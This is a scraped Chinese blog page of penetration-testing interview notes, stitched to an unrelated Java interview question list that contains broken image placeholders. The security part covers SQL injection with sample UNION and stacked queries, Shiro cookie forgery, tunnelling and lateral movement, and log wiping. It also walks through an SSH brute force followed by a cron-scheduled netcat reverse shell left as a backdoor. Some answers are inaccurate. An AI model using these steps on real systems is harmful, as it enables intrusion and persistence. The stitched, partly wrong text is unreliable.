50道常见高频大厂面试题

Posted BingeBlog

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了50道常见高频大厂面试题相关的知识,希望对你有一定的参考价值。

https://www.bilibili.com/video/BV1os4y1E7YT/?p=15&share_source=copy_web&vd_source=a867c73df17cfff8d16caf9e5b58a1aa

给你一个站点目标以后如何渗透?

  1. 信息收集:收集目标系统相关的信息,包括IP地址、域名、操作系统、网络架构等。
    • 服务器信息:真实IP,开放端口,系统类型,版本等
    • 网站信息:网站架构、指纹信息、waf、敏感目录和文件、旁站和C段查询等
    • 域名信息:whois信息、子域名、备案信息等
    • Google,hacking
    • 扫描网站目录结构,爆破后台
  2. 漏洞测试:使用自动化工具或手工方式对目标系统进行漏洞扫描,发现可能存在的安全漏洞。
    • sql注入,文件上传、命令执行、xss、等
  3. 漏洞利用:利用已知的或自己发现的漏洞进行攻击,尝试获取敏感信息或者控制目标系统。getshell
  4. 权限提升和维持:在成功入侵系统后,尝试提升自己的权限,以获取更高的访问权限。需要维持权限
  5. 数据挖掘:有时会是内网扫描和攻击,在目标系统中寻找重要的数据,如用户账号、密码、银行卡信息等。
  6. 痕迹清理:删除日志等信息
  7. 总结报告:根据测试结果,编写详细的测试报告,指出存在的安全漏洞和建议修复方案。

如何验证存在XSS漏洞?

验证存在XSS漏洞有两种办法,一种是手动测试,还有一种是自动化工具。

手动测试第一步:找到用户可以操作的输入点,比如,评论区,URL等等

手动测试第二步:找恶意代码在网页的输出点

手动测试第三步:构造payload进行测试漏洞是否存在

GET和POST的区别?

1、请求数据存放位置不同

get把请求数据放在URL上,以?分割URL和传输数据,以&连接参数;

post把数据放在HTTP数据包里

2、目的不同

get是获取数据,post是修改数据

3、数据大小限制不同

get提交数据最大是2k,实际限制取决于浏览器;

post理论上是没有限制的;

4、传输方式不同

get是header和data一并发送,等待服务器响应200(返回数据)

psot是先发送header等待服务器响应100(continue)后才发送data

5、get请求会被浏览器主动缓存,post不会

shiro反序列化漏洞产生过程和如何利用?

命令--序列化--aes加密--base编码--remberme cookie值

判断是否使用shiro框架,是否有这个字段,这个版本是否存在漏洞

常见应急排查方式

Linux入侵排查思路:

账户安全、历史命令、检查异常端口、检测异常进程、开机启动项、定时任务、服务、异常文件、系统日志、web日志

Windows入侵排查思路:

账户安全、检查异常端口、检测异常进程、开机启动项、定时任务、服务、异常文件、系统日志、web日志webshell、文件修改日期

CSRF、SSRF和重放攻击的区别?

csrf 是客户端请求伪造,ssrf 是服务端请求伪造,重放攻击 是将截获得数据包进行重放,达到身份认证等目的

Java反序列化和Shiro反序列化、PHP反序列化

Java中的ObjectOutputStream类的writeObject()方法可以实现序列化,其作用把对象转换成字节流,便于保存或者传输,而ObjectlnputStream类的readObject()方法用于反序列化,作用就是把字节流还原成对象。

Shiro反序列化主要是Apache Shiro提供了记住密码的功能,用户登录成功后会生成经过加密并编码的cookie,保存在浏览器中方便用户的日常使用。

而服务器对cookie的处理流程就是先获取浏览器上保存的cookie,然后将其base64解码,再进行AES解密,再将其反序列化进行校验,而漏洞就是出现在这里,

AES是一个硬编码有默认密钥,如果程序员没有去修改或者过于简单,那我们就可以进行cookie重构,先构造我们的恶意代码,然后将恶意代码进行序列化,然后AES加密(密钥我们已经爆破出来了),再进行base64编码,形成我们新的cookie,而服务器在处理时就会按照刚才的处理流程,就会在服务端触发我们构造的恶意代码。

一次作业的内容也合并到一起,之后整理

1.请简述渗透测试的基本流程

渗透测试(Penetration Testing)的基本流程通常包括以下几个阶段:

  1. 信息收集:收集目标系统相关的信息,包括IP地址、域名、操作系统、网络架构等。
  2. 漏洞扫描:使用自动化工具或手工方式对目标系统进行漏洞扫描,发现可能存在的安全漏洞。
  3. 攻击尝试:利用已知的或自己发现的漏洞进行攻击,尝试获取敏感信息或者控制目标系统。
  4. 权限提升:在成功入侵系统后,尝试提升自己的权限,以获取更高的访问权限。
  5. 数据挖掘:在目标系统中寻找重要的数据,如用户账号、密码、银行卡信息等。
  6. 报告撰写:根据测试结果,编写详细的测试报告,指出存在的安全漏洞和建议修复方案。
  7. 修复验证:对报告中发现的漏洞进行修复,并重新进行测试验证。

2.渗透测试中被动信息收集的方法有什么?

渗透测试中被动信息收集的方法主要包括以下几个方面:

  1. 搜索引擎查询:使用搜索引擎查询目标公司的官方网站、子域名、社交媒体账号等信息。
  2. WHOIS查询:查询目标公司的域名注册信息,包括域名所有人、注册时间、过期时间等。
  3. 网络架构分析:查看目标公司公开发布的技术文档、网站地图、网络拓扑图等信息,了解网络架构。
  4. 社交工程学:通过社交媒体、论坛等渠道获取目标公司员工的姓名、职位、联系方式等信息。
  5. 邮件自动回复:发送测试邮件到目标公司的邮箱,观察自动回复内容,了解目标公司的邮件服务商和版本信息。

3.请简述解析漏洞的原理

解析漏洞的原理是通过分析软件或系统中存在的漏洞,找出其根源和可能产生的后果,以便制定有效的修复策略。一般来说,漏洞的原因可以归结为以下几个方面:

  1. 输入验证不严格:软件或系统在接受用户输入时,没有进行充分的验证或过滤,导致攻击者可以提交恶意数据,从而破坏系统的正常运行。
  2. 缓冲区溢出:在程序设计中,如果开辟的内存空间无法满足实际需要,就会发生缓冲区溢出,攻击者可以利用这种漏洞覆盖其他关键信息,实现攻击目的。
  3. 代码注入:攻击者可以通过向系统中注入恶意代码,来获取系统权限、控制系统甚至窃取敏感信息。
  4. 未授权访问:软件或系统在设计时没有考虑到安全性问题,导致攻击者可以通过某些手段绕过认证机制,直接访问系统资源。
  5. 密码猜测:攻击者可以使用自动化工具对系统进行暴力猜测,试图获得正确的用户名和密码等敏感信息。

4.sql注入有哪些分类?

SQL注入一般可以分为以下几个主要分类:

  1. 基于错误的注入:攻击者通过构造恶意SQL语句,让服务器返回错误信息。根据错误信息,攻击者可以推断出数据库表结构、字段类型等关键信息。
  2. 联合查询注入:攻击者利用UNION语句将自己构造的查询结果并入正常查询结果中,从而获取额外的数据或控制查询结果。
  3. 盲注注入:攻击者无法直接获取查询结果,但可以根据系统返回的页面、响应时间等信息推断出查询结果。
  4. 布尔盲注注入:攻击者通过判断页面上某些条件是否成立来推断查询结果,类似于二分搜索的方法进行攻击。
  5. 时间盲注注入:攻击者通过判断系统响应时间的长短来推断查询结果,从而实现攻击的目的。

5.sql注入中时间型盲注有哪些关键函数,它们的作用分别是什么?

时间型盲注是SQL注入攻击的一种类型,它通过注入一些特定的SQL语句来猜测数据库中的一些敏感信息。下面是一些时间型盲注攻击中常用的关键函数:

  1. sleep()

sleep() 函数可以让程序等待指定的时间,这个时间可以是以秒为单位的任何值。在时间型盲注攻击中,攻击者往往会将 sleep() 函数用于SQL语句中,以便在等待期间获取数据库中的相关信息。

  1. benchmark()

benchmark() 函数可以用于执行一个特定的操作指定次数,然后返回执行时间。在时间型盲注攻击中,攻击者可以在SQL语句中使用 benchmark() 函数,指定一个时间(秒数)和要执行的操作。攻击者会根据返回的响应时间推测特定的条件是否为真或假。

  1. datediff()

datediff() 函数可以返回两个日期之间的时间差。在时间型盲注攻击中,这个函数可以用于估算两个日期是否存在。

以上函数都是时间型盲注攻击中常用的函数,攻击者在注入 SQL 语句时,往往会通过这些函数来猜测数据库中的敏感信息,然后利用得到的信息进行攻击。为了避免 SQL 注入攻击,开发者需要采取一些安全措施,如使用参数化查询等技术手段。

6.联合查询注入和堆叠注入的区别是什么?

联合查询注入和堆叠注入是两种不同的SQL注入技术,它们的区别在于攻击者构造的恶意注入语句的不同。
联合查询注入(Union-Based Injection)是一种常见的SQL注入技术,攻击者通过构造带有UNION关键字的SQL语句,将自己构造的查询结果并入正常查询结果中,从而获取额外的数据或控制查询结果。例如,攻击者可以使用如下语句:
SELECT name, age FROM users WHERE id=1 UNION SELECT username, password FROM admins WHERE \'1\'=\'1\'
这条SQL语句会返回users表中id为1的记录以及admins表中所有用户的用户名和密码。如果应用程序对用户输入的参数没有进行充分的验证和过滤,攻击者就可以执行这样的注入攻击,并窃取管理员账号的用户名和密码等敏感信息。
堆叠注入(Stacked Queries Injection)是一种比较高级的SQL注入技术,攻击者可以在一次请求中同时执行多条SQL语句,从而实现更加复杂的攻击。例如,攻击者可以使用如下语句:
SELECT name, age FROM users; INSERT INTO log (user, action, time) VALUES (\'attacker\', \'hacked into system\', NOW());
这条SQL语句会先执行查询操作,然后再插入一条日志记录。如果应用程序没有对该参数进行严格的验证和过滤,攻击者就可以成功执行这样的注入攻击,并在数据库中插入一条日志记录。
因此,联合查询注入和堆叠注入虽然都属于SQL注入攻击,但它们的注入语句构造方式不同,且堆叠注入需要一定的技术水平才能实现。

7.请简述shiro命令执行漏洞的原理

Shiro命令执行漏洞是指攻击者可以通过构造恶意的Shiro请求,使应用程序执行任意系统命令的漏洞。其原理主要包括以下几个步骤:

  1. 攻击者利用Shiro框架提供的认证机制,构造出一个带有特定参数的请求。
  2. 在该请求中,攻击者通过修改某些参数的值,将需要执行的系统命令添加到请求中。
  3. 应用程序在接收、解析和处理该请求时,因为没有对用户输入的数据进行充分的验证和过滤,导致攻击者构造的恶意命令被执行。
  4. 攻击者成功地利用该漏洞执行了任意系统命令,从而获取系统权限或窃取敏感信息。

8.xss和csrf漏洞的区别是什么?

XSS(跨站脚本攻击)和CSRF(跨站请求伪造)都是Web应用程序中常见的安全漏洞,它们具有以下几点区别:

  1. 攻击目标不同:XSS攻击主要针对用户端,即攻击者通过注入恶意脚本来控制用户的浏览器行为,例如窃取用户的Cookie、会话令牌等敏感信息,修改网页内容等。而CSRF攻击则主要针对服务端,即攻击者利用受害者已经登录的身份,在不知情的情况下发送恶意请求给被攻击的站点,从而实现非法操作,例如转账、删除数据等。
  2. 漏洞产生的原因不同:XSS漏洞的产生一般是由于应用程序没有对用户输入的数据进行充分的验证和过滤,导致攻击者可以注入恶意脚本。而CSRF漏洞则是由于应用程序在处理请求时没有做足够的校验,导致攻击者能够伪造一个看起来合法的请求。
  3. 防御方式不同:XSS漏洞的防御主要包括对用户输入的数据进行严格的过滤和转义,避免与HTML、JavaScript等代码发生冲突。而CSRF漏洞的防御则主要包括在请求中添加Token等验证机制,确保请求来源于合法的用户。
    总之,XSS和CSRF虽然都是Web应用程序中常见的安全问题,但产生原因、攻击目标和防御方式均有所不同,需要根据实际情况采取相应的防御措施,以确保Web应用程序的安全性。

一个告警IP如何判断是否是真实攻击

首先看来源是内网还是外网,再看是否携带恶意payload

内网渗透时如何搭建代理隧道?

frp工具可以将内网的某个端口映射到跳板机器上面的某个端口,然后将跳板机的端口映射到VPS,这样就可以通过VPS去访问内网主机了

Stowaway,可以通过指定agent用户为内网,然后指定admin为跳板机建立连接关系;

横向移动

文件共享符,建立ipc¥ + AT + schtasks

ipc¥ + sc

wmic

IPS和IDS

ips:入侵防御系统

位于防火墙和网络设置之间,检测已知和未知攻击并具有防止攻击的能力

IDS:入侵检测系统

不能反击网络攻击,通过对全网信息的分析,进行告警等;

webshell原理

它是一种网页后门,攻击者在入侵网站后将asp和php后门文件放在网站下,可以使用浏览器来访问后门得到一个命令执行环境,以达到控制网站的目的

应急响应

系统排查

1、基本信息

Windows:systeminfo,msinfo32

Linux:lscpu,uname -a

2、用户信息

Windows:图形界面可以查看隐藏用户,右键管理,本地用户和组里看

Linux:cat /etc/passwd

3、启动项

Windows:msconfig

Linux:cat 相应位置文件

4、计划任务

Windows:图行界面查看即可

Linux:crontab -l

Ssh是什么?

加密的网络传输协议,安全外壳协议,用来远程登录连接时加密传输用的协议;
常见端口和对应服务
22 ssh
445 smb ms17-010
3306 mysql
3389 rdp
80 http
443 https
模拟扫描端口进行攻击
攻击ip:49.234.218.30
本机ip:192.168.121.130
扫描端口发现:22/tcp open ssh开启
使用hydra(九头蛇)、msf、美杜莎等进行爆破,撞库
Htdra -L user.txt -P password.txt ssh://192.168.1.1
Ssh root @192.168.1.1
留后门,创建隐藏计划任务,
进入tmp目录 创建 task.sh文件,编辑输入
Nc 192.168.1.1 7777 -e /bin/bash
给执行权限Chmod +x
再创建计划任务crontab,给权限;
Nc -lvp 7777

勒索病毒

WannaCry一种蠕虫式勒索病毒,利用NSA泄露的漏洞EteralBlue(永恒之蓝)进行传播;
WannaCry蠕虫病毒通过ms17-010漏洞感染计算机后植入勒索病毒,导致重要文件被加密,并提示需支付钱以后才能解锁;
至少15个国家30万用户中招,照成损失80亿美元;
特征: 后缀wncry ,启动时会连接一个不存在的url,创建系统服务 mssecsvc2.0,释放路径为Windows目录
Globalmposter,邮件钓鱼,暴力破解远程服务器,扫描内网服务器并人工投放勒索病毒,导致文件被加密,无法解密;
特征:后缀auchentoshan、动物名+444. Rdp爆破,钓鱼邮件,捆绑软件,释放在%appdata%或%localappdata%
Crysis/Dharm,rdp暴力破解,采用AES+RSA,最新版本无法解密;
特征;id+勒索邮箱+特定后缀,位置在startup目录下,或%appdata等;

勒索病毒应急响应

1、 事件判断 判断事件是不是勒索病毒,是那种病毒,可以查后缀和病毒特点
2、 临时处置
3、 信息收集与分析 样本收集,文件排查
4、 事件处置
5、 事件防御

后面没看了,都是很常用的一些工具的利用,这里也没记全,先这样吧,溜了溜了

大厂Mysql高频面试题!全网最经典26道Spring面试题总结

前言

周末,天气放晴,玩的还挺开心,过后,我像往常一样坐在窗台,看着电脑“发呆”,就不给大家分享技术干货了。给大家整理一份面试清单总结吧,都是一些基础的题,是IT公司就喜欢考这些基础的东西,所以为了能进大公司就~当复习期末考吧。花了不少时间整理,在整理过程中也学到了很多东西,请大家认真对待每一题!

算法

  1. ⼏道常⻅的字符串算法题总结
  2. 最⻓公共前缀
  3. 回⽂串
  4. 两数相加
  5. 翻转链表
  6. 链表中倒数第k个节点
  7. 删除链表的倒数第N个节点
  8. 合并两个排序的链表
  9. 剑指offer部分编程题
  10. 跳台阶问题
  11. 变态跳台阶问题
  12. ⼆维数组查找
  13. 替换空格题⽬描述:
  14. 数值的整数次⽅
  15. 调整数组顺序使奇数位于偶数前⾯
  16. 链表中倒数第k个节点
  17. 反转链表
  18. 合并两个排序的链表
  19. ⽤两个栈实现队列
  20. 栈的压⼊,弹出序列

算法示例答案解析

数据结构

  1. Java 集合框架中的队列 Queue
  2. HashSet 和 TreeSet 底层数据结构
  3. List的常⻅实现类ArrayList 和 LinkedList 源码学习
  4. Map
  5. ⼆叉树
  6. 完全⼆叉树
  7. 满⼆叉树
  8. ⼆叉查找树(BST)
  9. 平衡⼆叉树(Self-balancing binary search tree)
  10. 红⿊树
  11. B-,B+,B*树
  12. LSM 树

数据结构答案解析

Redis

  1. 为什么要⽤ redis/为什么要⽤缓存
  2. 为什么要⽤ redis ⽽不⽤ map/guava 做缓存?
  3. redis 的线程模型
  4. redis 和 memcached 的区别
  5. redis 常⻅数据结构以及使⽤场景分析
  6. redis 设置过期时间
  7. redis 内存淘汰机制(MySQL⾥有2000w数据,Redis中只存20w的数据,如何保证Redis中的数据都是热点数据?)
  8. redis 持久化机制(怎么保证 redis 挂掉之后再重启数据可以进⾏恢复)
  9. redis 事务
  10. 缓存雪崩和缓存穿透问题解决⽅案
  11. 如何解决 Redis 的并发竞争 Key 问题
  12. 如何保证缓存与数据库双写时的数据⼀致性?

Redis答案解析

MyBatis

  1. {}和${}的区别是什么?
  2. Xml 映射⽂件中,除了常⻅的 select|insert|updae|delete 标签之外,还有哪些标签?
  3. 最佳实践中,通常⼀个 Xml 映射⽂件,都会写⼀个 Dao 接⼝与之对应,请问,这个Dao接⼝的⼯作原理是什么?Dao接⼝⾥的⽅法,参数不同时,⽅法能重载吗?
  4. Mybatis 是如何进⾏分⻚的?分⻚插件的原理是什么?
  5. 简述 Mybatis 的插件运⾏原理,以及如何编写⼀个插件。
  6. Mybatis 执⾏批量插⼊,能返回数据库主键列表吗?
  7. Mybatis 动态 sql 是做什么的?都有哪些动态 sql?能简述⼀下动态 sql 的执⾏原理不?
  8. Mybatis 是如何将 sql 执⾏结果封装为⽬标对象并返回的?都有哪些映射形式?
  9. Mybatis 能执⾏⼀对⼀、⼀对多的关联查询吗?都有哪些实现⽅式,以及它们之间的区别。
  10. Mybatis 是否⽀持延迟加载?如果⽀持,它的实现原理是什么?
  11. Mybatis 的 Xml 映射⽂件中,不同的 Xml 映射⽂件,id 是否可以重复?
  12. Mybatis 中如何执⾏批处理?
  13. Mybatis 都有哪些 Executor 执⾏器?它们之间的区别是什么?
  14. Mybatis 中如何指定使⽤哪⼀种 Executor 执⾏器?
  15. Mybatis 是否可以映射 Enum 枚举类?
  16. Mybatis 映射⽂件中,如果 A 标签通过 include 引⽤了 B 标签的内容,请问,B 标签能否定义在 A 标签的后⾯,还是说必须定义在 A 标签的前⾯?
  17. 简述 Mybatis 的 Xml 映射⽂件和 Mybatis 内部数据结构之间的映射关系?
  18. 为什么说 Mybatis 是半⾃动 ORM 映射⼯具?它与全⾃动的区别在哪⾥?

MyBatis答案解析

最后

面试题文档来啦,内容很多,485页!

由于笔记的内容太多,没办法全部展示出来,下面只截取部分内容展示。有想获取完整版笔记的朋友,点赞后点击这里免费领取哦

1111道Java工程师必问面试题

MyBatis 27题 + ZooKeeper 25题 + Dubbo 30题:

Elasticsearch 24 题 +Memcached + Redis 40题:

Spring 26 题+ 微服务 27题+ Linux 45题:

Java面试题合集:

686620)]

Spring 26 题+ 微服务 27题+ Linux 45题:

[外链图片转存中…(img-TxP05gN8-1620876686621)]

Java面试题合集:

以上是关于50道常见高频大厂面试题的主要内容,如果未能解决你的问题,请参考以下文章

大厂Mysql高频面试题!全网最经典26道Spring面试题总结

2021最全190道大厂大数据高频面试题+答案详解

2023金三银四1000道java面试必考题(附答案,赶紧收藏)包含所有大厂高频面试知识点

❤️五万字❤️离职后一天4面,总结了204道高频Java面试题,已拿阿里offer(建议收藏)

吐血整理,互联网大厂最常见的 1120 道 Java 面试题(带答案)整理

8年北漂架构师耗时整整一百天打造1000道一线互联网大厂Java高频面试手册(附面试答案)